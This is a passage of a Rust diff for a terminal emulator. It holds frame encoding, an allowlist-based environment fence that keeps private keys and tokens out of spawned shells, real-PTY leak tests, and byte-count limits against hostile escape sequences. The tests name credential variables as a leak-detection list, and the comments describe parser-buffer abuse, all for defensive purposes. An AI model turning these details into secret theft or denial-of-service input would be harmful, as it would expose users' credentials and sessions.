pub rows: Vec<RowFrame>,
pub cursor: CursorFrame,
/// Whether the cursor plane changed since this encoder's previous frame.
/// Cursor movement can be the only visible effect of input (for example,
/// echoing a space over an already blank cell), so it independently makes
/// an incremental frame publishable.
pub cursor_changed: bool,
/// Whether the renderer should discard what it has and repaint.
pub full: bool,
/// The grid this frame describes. A change means the terminal was resized
/// and row indices refer to a different geometry than the previous frame's.
/// Carried so the consumer can detect that from the frame itself instead of
/// trusting that no resize overtook it in flight -- across a transport, a
/// frame captured before a resize can arrive after it.
pub viewport: crate::Viewport,
}
impl Frame {
/// True when there is nothing for the renderer to do.
pub fn is_empty(&self) -> bool {
self.rows.is_empty() && !self.cursor_changed && !self.full
}
}
/// Raw rows copied out from under the lock, awaiting encode.
pub struct RawFrame {
rows: Vec<(usize, Vec<Cell>)>,
cursor: CursorFrame,
full: bool,
viewport: crate::Viewport,
}
/// The grid line a screen row reads from.
///
/// The grid indexes the active area from 0 and scrollback with *negative*
/// lines, so scrolling back `n` lines means every screen row reads `n` lines
/// higher. At the live edge the offset is zero and this is the identity, which
/// is why the unscrolled path is unchanged rather than merely equivalent.
fn row_of(screen_row: usize, display_offset: usize) -> Line {
Line(screen_row as i32 - display_offset as i32)
}
/// Where the cursor sits on screen, given how far the viewport is scrolled
/// back.
///
/// The grid keeps the cursor in *active-area* coordinates, which do not move
/// when the user scrolls; the renderer paints *screen rows*, which do. The two
/// agree only at the live edge, so the conversion has to happen somewhere, and
/// it happens here rather than in the renderer -- the renderer is not told the
/// display offset, and giving it one would put this same arithmetic on the far
/// side of a transport.
///
/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
/// then it is reported as not visible. Without that clamp a caret drawn at a
/// clamped row would sit on some unrelated line of history, which reads as
/// corruption rather than as scrollback.
fn cursor_frame(
cursor_point: alacritty_terminal::index::Point,
display_offset: usize,
screen_lines: usize,
shown: bool,
) -> CursorFrame {
let line = cursor_point.line.0.max(0) as usize + display_offset;
CursorFrame {
line: line.min(screen_lines.saturating_sub(1)),
column: cursor_point.column.0,
visible: shown && line < screen_lines,
}
}
/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
/// encoding.** Keep this function boring — everything added here is lock hold.
pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
// Upstream's partial iterator already reports **screen** rows: it offsets
// each damaged active-area line by the display offset and drops the ones
// that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
// arms below speak the same coordinate, and `row_of` converts once.
let (lines, full) = match term.damage() {
TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
TermDamage::Partial(iter) => (
iter.map(|bounds| bounds.line)
.filter(|l| *l < screen_lines)
.collect(),
false,
),
};
let grid = term.grid();
let mut rows = Vec::with_capacity(lines.len());
for line in lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
term.reset_damage();
RawFrame {
rows,
cursor,
full,
viewport,
}
}
/// Copy the **entire visible viewport**, leaving damage untouched.
///
/// This exists for subscribers that arrive mid-stream: attach, reattach, and
/// the successor side of a resize. Damage only describes what changed since
/// the last capture, so a newcomer that starts from [`capture`] sees whatever
/// happened to change next -- often just the cursor's line -- painted onto a
/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
/// cannot ask for a full frame that way.
///
/// **It must not consume damage, and that is the load-bearing property.** The
/// incumbent subscriber's next [`capture`] has to still see its rows. If this
/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
/// would freeze on stale content while a newcomer's full-frame test passed.
/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
/// is the proof.
///
/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
let grid = term.grid();
let mut rows = Vec::with_capacity(screen_lines);
for line in 0..screen_lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
// No `damage()` and no `reset_damage()`: see the note above.
RawFrame {
rows,
cursor,
// A snapshot *is* a repaint, and marking it full also resets the
// consumer's `Encoder` hashes, so its dedup state describes the grid it
// was actually given rather than a predecessor's.
full: true,
viewport,
}
}
/// Suppresses rows whose content did not actually change.
#[derive(Default)]
pub struct Encoder {
hashes: Vec<u64>,
cursor: Option<CursorFrame>,
}
impl Encoder {
pub fn new() -> Self {
Self::default()
}
/// Encode a captured frame. **Runs with the lock released.**
pub fn encode(&mut self, raw: RawFrame) -> Frame {
// A full frame invalidates the dedup cache. Both routes that produce
// one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
// where the cached hashes describe rows of a different width entirely.
if raw.full {
self.hashes.clear();
}
let mut rows = Vec::with_capacity(raw.rows.len());
for (line, cells) in raw.rows {
let hash = hash_cells(&cells);
if self.hashes.len() <= line {
self.hashes.resize(line + 1, 0);
}
if self.hashes[line] == hash {
continue;
}
self.hashes[line] = hash;
rows.push(RowFrame {
line,
wrapped: cells
.last()
.is_some_and(|cell| cell.flags.contains(Flags::WRAPLINE)),
spans: spans(&cells),
});
}
let cursor_changed = self.cursor != Some(raw.cursor);
self.cursor = Some(raw.cursor);
Frame {
rows,
cursor: raw.cursor,
cursor_changed,
full: raw.full,
viewport: raw.viewport,
}
}
}
fn hash_cells(cells: &[Cell]) -> u64 {
let mut hasher = DefaultHasher::new();
for cell in cells {
cell.c.hash(&mut hasher);
// Hash the *packed* colors, not the enum: this is the representation
// the renderer receives, so the dedup key cannot disagree with the
// wire encoding and suppress a row that actually changed on screen.
pack_color(cell.fg).hash(&mut hasher);
pack_color(cell.bg).hash(&mut hasher);
cell.flags.bits().hash(&mut hasher);
if let Some(zerowidth) = cell.zerowidth() {
zerowidth.hash(&mut hasher);
}
}
hasher.finish()
}
/// Group a row's cells into runs of uniform style and width.
///
/// A run continues only while style *and* width match, and a cell carrying
/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
/// can compute each cluster's column as `column + i * width`; see [`Span`].
///
/// The width comparison is the only thing keeping widths uniform within a run:
/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
/// break a run on width behind this check's back.
fn spans(cells: &[Cell]) -> Vec<Span> {
let mut spans: Vec<Span> = Vec::new();
// Whether the run in progress may still be extended. Kept here rather than
// on `Span` because it is grouping bookkeeping, not part of the wire shape.
let mut open = false;
for (column, cell) in cells.iter().enumerate() {
// A wide glyph occupies two cells: the character, then a spacer. The
// spacer carries no text of its own -- emitting its placeholder space
// would insert a phantom column after every CJK character or emoji.
if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
continue;
}
let style = style_of(cell);
let width = if cell.flags.contains(Flags::WIDE_CHAR) {
2
} else {
1
};
let zerowidth = cell.zerowidth();
let mut text = String::new();
text.push(cell.c);
if let Some(marks) = zerowidth {
text.extend(marks);
}
// A cluster with combining marks holds more `char`s than columns, so it
// cannot share a run: it is the one case where "one char per cluster"
// stops holding.
let joinable = zerowidth.is_none();
match spans.last_mut() {
// `cluster_count` is refused rather than wrapped when it would
// overflow: the run simply ends and a new span starts at this
// column, which the consumer's rule already handles.
Some(last)
if open
&& joinable
&& last.style == style
&& last.width == width
&& last.cluster_count < u16::MAX =>
{
last.text.push_str(&text);
last.cluster_count += 1;
}
_ => spans.push(Span {
column,
text,
width,
cluster_count: 1,
style,
}),
}
open = joinable;
}
// Enforced in release, not just in debug. This is a *wire* invariant: a
// span that violates it is undecodable by the rule in [`Span`], and the
// consumer's failure is silent misplacement of every cluster after it.
// A `debug_assert` here would vanish in exactly the build where that
// corruption ships. The cost is one pass over text already in cache --
// the same order as building the spans -- and it buys a loud, local
// failure instead of a renderer quietly drawing the wrong columns.
assert!(
spans.iter().all(Span::counts_are_consistent),
"cluster_count must be 1 or the span's char count"
);
spans
}
/// Flags describing where a cell sits in the grid rather than how it looks.
///
/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
/// bits mark a two-column glyph and its spacer. Neither says anything about
/// appearance.
///
/// These are excluded from [`Style`] so the style key means one thing: visual
/// attributes. Geometry travels in [`Span::width`], which is compared on its
/// own when grouping -- if these bits stayed in the key they would break runs
/// as a side effect and leave the width comparison untestable.
///
/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
/// deliberately not masked: those are appearance.
const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
.union(Flags::WIDE_CHAR)
.union(Flags::WIDE_CHAR_SPACER)
.union(Flags::LEADING_WIDE_CHAR_SPACER);
fn style_of(cell: &Cell) -> Style {
Style {
fg: pack_color(cell.fg),
bg: pack_color(cell.bg),
flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
}
}
/// Pack a color into a tagged u32 the renderer resolves against the theme.
///
/// Named and indexed colors stay symbolic rather than being resolved here:
/// the substrate must follow the user's chosen theme, so the palette belongs
/// to the renderer, not to a snapshot taken at damage time.
fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
use alacritty_terminal::vte::ansi::Color;
match color {
Color::Named(named) => 0x0100_0000 | named as u32,
Color::Indexed(index) => 0x0200_0000 | index as u32,
Color::Spec(rgb) => {
0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
}
}
}
@@ -0,0 +1,85 @@
//! Environment fence for spawned PTY children.
//!
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
//! the user types `env` and reads the signing key off the screen.
//!
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
//! demonstrates the failure mode this module exists to prevent. It removed
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
//! environment" and passed 68 variables — including the nsec — to the child.
//! A denylist is only as current as the last time someone remembered to
//! extend it; it was correct for the polluted-`PATH` threat it was written
//! for and became a key-disclosure bug when the app started holding secrets.
//!
//! So: **allowlist, never denylist.** Clear the inherited environment
//! wholesale, then rebuild only what a terminal legitimately needs.
use portable_pty::CommandBuilder;
/// Keys the child is allowed to inherit from Buzz's own environment.
///
/// Deliberately minimal: each entry is something a shell genuinely cannot
/// function without, or that visibly degrades the session by its absence.
/// Anything not listed here does not reach the child, including keys that do
/// not exist yet — which is the property a denylist cannot offer.
const INHERIT_ALLOWLIST: &[&str] = &[
"HOME", // shell startup files, ~ expansion
"USER", // prompt expansion, `whoami`-adjacent tooling
"LOGNAME", // POSIX companion to USER
"LANG", // UTF-8 decoding of the child's own output
"LC_ALL", // explicit locale override, when set
"LC_CTYPE", // character classification; wide/emoji handling
"TZ", // timestamps in prompts and logs
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
];
/// Values Buzz sets on the child unconditionally, overriding any inherited
/// value. `TERM` in particular must describe *our* emulator, not whatever
/// terminal happened to launch the desktop app.
const OVERRIDES: &[(&str, &str)] = &[
("TERM", "xterm-256color"),
("TERM_PROGRAM", "Buzz"),
("COLORTERM", "truecolor"),
];
/// Applies the environment fence to `cmd`, returning it for chaining.
///
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
/// discards every accumulated entry, so clearing *after* populating yields a
/// child with an empty environment and no error anywhere. Clear first, then
/// rebuild.
///
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
/// actually spawn are different values in exactly the cases the resolution
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
/// would tell the child it is running something it is not.
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
// 1. Drop the inherited environment wholesale, secrets included.
cmd.env_clear();
// 2. Rebuild only the allowlisted keys that are actually present.
for key in INHERIT_ALLOWLIST {
if let Some(value) = std::env::var_os(key) {
cmd.env(key, value);
}
}
// 3. Apply Buzz's own terminal identity.
for (key, value) in OVERRIDES {
cmd.env(key, value);
}
// 4. PATH is supplied by the caller rather than inherited; see
// `path::user_shell_path`.
cmd.env("PATH", path);
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
// explicit entry is the one the child sees.
cmd.env("SHELL", shell);
}
@@ -0,0 +1,362 @@
//! Secret-leak gate for the environment fence.
//!
//! These tests spawn a real PTY child and read its actual environment. An
//! assertion against the `CommandBuilder` alone would be weaker: it would not
//! prove that what the builder holds is what the kernel hands the child.
use crate::env_fence::fence_env;
use crate::path::user_shell_path;
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use std::io::Read;
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
/// rather than imported because this crate deliberately has no dependency
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
const SECRET_KEYS: &[&str] = &[
"BUZZ_PRIVATE_KEY",
"NOSTR_PRIVATE_KEY",
"BUZZ_AUTH_TAG",
"BUZZ_API_TOKEN",
"BUZZ_ACP_PRIVATE_KEY",
"BUZZ_ACP_API_TOKEN",
"BUZZ_RELAY_URL",
];
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
/// be able to run it.
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
/// a previous run.
///
/// The removal is not tidiness: a fixture written at mode `0o010` is not
/// writable by its own owner, so a second run in the same temp dir fails with
/// `Permission denied` before reaching a single assertion. Green on a fresh
/// runner, red on a persistent one — a test must not depend on which it got.
#[cfg(unix)]
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
use std::os::unix::fs::PermissionsExt;
let path = std::env::temp_dir().join(name);
let _ = std::fs::remove_file(&path);
std::fs::write(&path, contents).expect("write fixture");
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
path
}
/// Runs `env` in a real PTY child under the full fence and returns its output.
fn fenced_child_environment() -> String {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
}
/// Runs `env` in a real PTY child and returns its raw output.
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
child_command(build, "env")
}
/// Runs `script` in a real PTY child under `build`'s fence and returns the
/// child's output.
///
/// The child is a real process on a real PTY rather than an inspection of the
/// `CommandBuilder`: the builder is what we asked for, and the child's
/// `environ` is what the kernel actually delivered. Only the second one is the
/// property under test.
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("/bin/sh");
build(&mut cmd);
cmd.arg("-c");
cmd.arg(script);
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut out = String::new();
reader.read_to_string(&mut out).expect("read child output");
child.wait().expect("wait");
out
}
/// Seeds this process with secrets so the fence has something to leak.
///
/// Note these are process-global; the tests that rely on them assert on a
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
/// developer's environment neither masks a failure nor causes one.
fn seed_secrets() {
for key in SECRET_KEYS {
std::env::set_var(key, format!("{CANARY}_{key}"));
}
}
#[test]
fn fence_keeps_secrets_out_of_the_child() {
seed_secrets();
let out = fenced_child_environment();
assert!(
!out.contains(CANARY),
"a reserved secret reached the child environment:\n{out}"
);
for key in SECRET_KEYS {
assert!(
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
"{key} reached the child environment:\n{out}"
);
}
}
/// The other half of the assertion. A fence that clears in the wrong order
/// produces an empty environment: it passes the leak check above while
/// shipping a shell with no context and no error. Asserting only the negative
/// would ratify that bug.
#[test]
fn fence_still_delivers_the_terminal_contract() {
seed_secrets();
let out = fenced_child_environment();
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
assert!(
out.lines().any(|line| line == format!("{key}={value}")),
"{key} missing from child environment:\n{out}"
);
}
assert!(
out.lines().any(|line| line.starts_with("PATH=")),
"PATH missing from child environment:\n{out}"
);
}
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
/// is excluded because it was never allowlisted. This is the property the
/// `feat/terminal` denylist could not offer.
#[test]
fn fence_excludes_keys_it_has_never_heard_of() {
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
let out = fenced_child_environment();
assert!(
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
"an unknown key reached the child:\n{out}"
);
}
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
/// never becomes the user's shell toolchain.
///
/// The assertion is *reachability*, not a string comparison: we seed a
/// uniquely-named executable into this process's `PATH` and prove the child
/// cannot run it. A string check would pass a fence that inherited a
/// differently-spelled toolchain directory, and would fail a fence that
/// legitimately contained the substring; `command -v` asks the question the
/// user actually asks by typing a command name.
#[test]
fn child_path_is_free_of_buzz_toolchain() {
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
std::fs::create_dir_all(&dir).expect("canary dir");
let canary = dir.join(CANARY_BIN);
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
.expect("chmod canary");
}
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
// holding a tool the user does not have.
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
assert!(
is_executable_file(&canary),
"test setup: canary must be executable"
);
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let out = child_environment(|cmd| {
fence_env(cmd, &user_shell_path(), &shell);
});
let path_line = out
.lines()
.find(|line| line.starts_with("PATH="))
.expect("child has a PATH");
assert!(
!path_line.contains("buzz-terminal-path-canary"),
"Buzz's toolchain leaked into the child PATH: {path_line}"
);
// The reachability arm: run `command -v` for the canary inside the fence.
let resolved = child_command(
|cmd| fence_env(cmd, &user_shell_path(), &shell),
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
);
assert!(
resolved.contains("CANARY_UNREACHABLE"),
"a Buzz-only executable was reachable from the child shell: {resolved}"
);
}
/// `$SHELL` is honoured when it names an executable regular file.
#[test]
fn resolve_shell_prefers_a_valid_shell_env() {
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
}
/// The other direction: an unset `$SHELL` must fall through to the **passwd
/// database**, not to the hardcoded fallback.
///
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
/// executable, so a resolver with the passwd step deleted entirely passes it.
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
/// assertion. The property is *equality with the passwd entry*, and the
/// discriminating-power guard below refuses to pass silently on a machine
/// where the two candidates coincide.
#[test]
fn resolve_shell_falls_through_to_passwd_not_the_default() {
let Some(passwd) = crate::shell::passwd_shell() else {
panic!("no usable passwd shell; this gate cannot run on this machine");
};
assert_ne!(
passwd, FALLBACK_SHELL,
"passwd shell equals the fallback, so this test cannot tell the \
passwd step from its absence; it must not report success"
);
assert_eq!(
resolve_shell(None),
passwd,
"an unset $SHELL did not resolve to the passwd entry"
);
}
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
/// passes portable-pty's own check and produces a child that dies with a Rust
/// runtime panic. Requiring an executable *regular file* is what closes it.
#[test]
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
let dir = std::env::temp_dir();
assert!(
!is_executable_file(&dir),
"a directory must not qualify as a shell"
);
assert_ne!(
resolve_shell(dir.to_str()),
dir.to_str().unwrap(),
"a directory $SHELL was accepted; the child would abort on spawn"
);
}
/// Raw mode bits are not effective executability: a self-owned regular file
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
/// running it gives `Permission denied`. The metadata half of the predicate
/// cannot see this; only the `access` half can.
#[test]
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
use std::os::unix::fs::PermissionsExt;
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
assert!(
mode & 0o111 != 0,
"test setup: some class must hold an execute bit, else this arm \
cannot discriminate the mode check from the access check"
);
assert!(
!is_executable_file(&path),
"a file the effective user cannot execute was accepted as a shell"
);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// A non-executable regular file falls through as well.
#[test]
fn resolve_shell_rejects_a_non_executable_file() {
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// The login convention is `-<basename>`, applied without inspecting the
/// shell's name. Any shell — including ones that do not exist yet — gets
/// login semantics from argv0 rather than from a flag we guessed.
#[test]
fn login_argv0_is_shell_neutral() {
for (shell, expected) in [
("/bin/zsh", "-zsh"),
("/usr/local/bin/fish", "-fish"),
("/opt/nu/bin/nu", "-nu"),
(FALLBACK_SHELL, "-sh"),
] {
assert_eq!(login_argv0(shell), expected);
}
}
/// The child must be told the shell we actually spawned, not the one Buzz
/// itself was launched under. Asserting `SHELL` is merely present would pass
/// for an inherited value, which is wrong in exactly the fallback cases.
#[test]
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
assert_ne!(
resolved, "/definitely/not/a/real/shell",
"test setup: the bogus shell must not resolve"
);
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
assert!(
out.lines().any(|line| line == format!("SHELL={resolved}")),
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
);
assert!(
!out.contains("/definitely/not/a/real/shell"),
"the inherited SHELL reached the child:\n{out}"
);
}
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
/// grows a new secret, this points at the file to update.
#[test]
fn reserved_keys_are_covered() {
// The list lives in its own file because `build.rs` `include!`s the same
// source (see `managed_agents/reserved_env_keys.rs`); read it there rather
// than through the module that includes it.
let source = include_str!("../../../src/managed_agents/reserved_env_keys.rs");
let declared: Vec<&str> = source
.lines()
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
.take_while(|line| !line.trim_start().starts_with("];"))
.filter_map(|line| line.trim().strip_prefix('"'))
.filter_map(|line| line.split('"').next())
.filter(|key| {
// Only identity/credential keys are in scope here: the rest of
// RESERVED_ENV_KEYS guards agent-config override, which cannot
// apply to a child that inherits nothing.
key.contains("PRIVATE_KEY")
|| key.contains("AUTH_TAG")
|| key.contains("API_TOKEN")
|| key.contains("RELAY_URL")
})
.collect();
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
for key in declared {
assert!(
SECRET_KEYS.contains(&key),
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
this crate's SECRET_KEYS; add it here"
);
}
}
@@ -0,0 +1,262 @@
//! The two hardening fences, and the counters that prove they ran.
//!
//! A hostile program can hold the parser's synchronized-update buffer open
//! (BSU without ESU) or an OSC string open, and upstream will buffer without
//! bound. Two independent fences, both enforced on **byte counts** — never on
//! a clock, because a clock makes the bound depend on how fast the machine is:
//!
//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
//! been charged without the parser returning to a clean state.
//!
//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
//! frame releases into the parser in one call, holding the `Term` lock for
//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
//! memory and latency.
/// Max bytes a synchronized update may buffer before it is aborted.
pub const SYNC_CAP: usize = 64 << 10;
/// Max parser-visible bytes chargeable before the parser is rebuilt.
pub const OSC_BUDGET: usize = 256 << 10;
/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
/// before returning, in cell-equivalents.
///
/// Derived, not chosen: measured worst-case density across the 2-D op sweep
/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
/// where fixed dispatch cost dominates the single cell it touches), so a
/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
/// remaining three quarters are headroom for lock acquisition, the counting
/// wrapper's own bookkeeping, and platforms slower than the one measured;
/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
/// spent to the last unit.
pub const WORK_BUDGET: u64 = 250_000;
/// Widest slice handed to the parser at once.
///
/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
/// real scrollback depth -- no wider slice can promise to stop after the
/// callback that crosses. This cap is the other end, set at the throughput
/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
/// measured, so nothing above it buys anything and a larger value only
/// coarsens the cut.
pub const MAX_SLICE: usize = 256;
/// Bytes to hand the parser next.
///
/// The **only** slice-sizing function, deliberately: an earlier version of
/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
/// the scheduler stopped calling when slices became remaining-aware, and the
/// fixtures went on asserting against it. The two disagreed exactly where the
/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
/// were describing a function no longer in the path. One function, one
/// answer, and every test asserts on what `drain` actually calls.
///
/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
/// `remaining / densest` bytes cannot carry a drain past the budget.
///
/// `next_escape` is how far the next `ESC` is from the front of the tail.
/// This is the difference between a correct bound and an unusable one. Only
/// an escape can buy grid-sized work in two bytes; a run of ordinary
/// characters costs at most `columns` per byte (a wrapping line feed that
/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
/// plain text as though every byte might be RIS drops throughput from
/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
/// bounding something that cannot happen. So a plain run is sliced against
/// the plain-byte cost and only the escape itself is metered against the
/// worst atom.
pub fn slice_bytes_remaining(
columns: usize,
lines: usize,
scrollback: usize,
spent: u64,
next_escape: usize,
) -> usize {
let remaining = WORK_BUDGET.saturating_sub(spent);
if next_escape > 0 {
// A plain run, and it stops at the escape: an escape sharing a slice
// with the text in front of it is how a callback runs *after* the one
// that crossed the budget, which is the overrun this bound exists to
// prevent. Worst case per plain byte is a line feed that scrolls,
// which resets one row: `columns`.
let per_byte = (columns as u64).max(1);
return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
}
// An escape starts here. `ESC c` is the densest at two bytes.
let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
((remaining / densest) as usize).clamp(1, MAX_SLICE)
}
/// Work the single worst uninterruptible callback can cost on this grid.
///
/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
/// the parser can cut inside a callback, so a caller converting a work budget
/// into a time bound must add it.
///
/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
/// atom, not the budget, would decide the bound. Stopping at the fixed point
/// makes it `columns`, and the budget goes back to being the thing that sets
/// the bound. Every other callback is priced at or below `cells`, which is
/// larger, so this term never dominates.
pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// RIS: both grids plus the primary's configured scrollback. This is the
// largest single callback by a wide margin -- 16x the budget at the
// default 10k depth -- and it is genuinely indivisible, so it is stated
// rather than smoothed. CBT, once terminated at its fixed point, is
// `columns` and never competes.
//
// Saturating, and widened to u64 *before* multiplying. `Size` fields are
// unclamped `usize` with no caller bounding them, so the products here
// are reachable overflows: in debug that is a panic in the accounting
// path, and in release it wraps to a small number, which understates the
// bound -- an overflow that reports the parser as cheap is the worst of
// the three outcomes.
let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
let both_grids = columns.saturating_mul(lines).saturating_mul(2);
let history = scrollback.saturating_mul(columns);
both_grids.saturating_add(history).max(columns)
}
/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
///
/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
/// exact about which is which, because I got this wrong first and the
/// fixtures caught it:
///
/// * The budget is checked *between* slices, so a drain overshoots by up to
/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
/// under one budget wherever its derivation is unclamped.
/// * A callback already running cannot be preempted. RIS at the default 10k
/// scrollback is worth 16x the whole budget on its own, so on such a grid
/// the floor binds and the overshoot is a few of those atoms. No scheduler
/// outside the parser can fix that -- what it can do is *report* it, which
/// is why this is a function callers can read rather than an assumption
